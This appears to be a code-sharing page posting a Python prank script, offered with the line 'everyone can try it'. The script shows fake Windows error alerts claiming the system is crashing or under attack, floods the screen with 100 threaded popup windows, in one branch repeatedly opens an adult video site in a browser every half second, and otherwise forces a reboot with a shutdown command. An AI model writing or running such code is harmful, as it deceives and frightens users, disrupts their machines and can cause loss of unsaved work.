赞
踩
- import os
- import tkinter.messagebox
- import tkinter as tk
- import random
- import threading
- import time
- import webbrowser
- import tkinter.messagebox
-
-
- def hw ():
- window = tk.Tk()
- width = window.winfo_screenwidth()
- height = window.winfo_screenheight()
- a = random.randrange(0, width)
- b = random.randrange(0, height)
- window.title('Windows提醒你')
- window.geometry("250x100" + "+" + str(a) + "+" + str(b))
- tk.Label(window, text='注意!系统正在崩盘', bg='red',
- font=('宋体', 17), width=20, height=4).pack()
- window.mainloop()
- key = input("请选择1,2:")
- if key == "1":
- time.sleep(1.5)
- print("你猜猜要干嘛")
- time.sleep(3)
- print('没事\n')
- time.sleep(2)
- print("给你测一下电脑性能")
- time.sleep(1)
- print("看看什么东西响了")
- while True:
- tkinter.messagebox.showerror('Windows 错误', '你的电脑正在被攻击!')
-
- elif key =="2":
- while True:
- print("你爱看的正能量")
- tkinter.messagebox.showerror('Windows 发现是lsp', '正在为您打开快猫!')
- time.sleep(0.5)
- webbrowser.open("https://web-aws.ylhysh.net/#/long")
- else:
- print("只能输入1或者2")
- time.sleep(1.5)
- print("你要选择"+key+"我也没办法")
- time.sleep(1.5)
- print("等我3秒钟,真实你")
- threads = []
- for i in range(100):
- t = threading.Thread(target=hw)
- threads.append(t)
- time.sleep(0.1)
- threads[i].start()
- os.system('shutdown -r -t 10')
-
大家可以试试
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。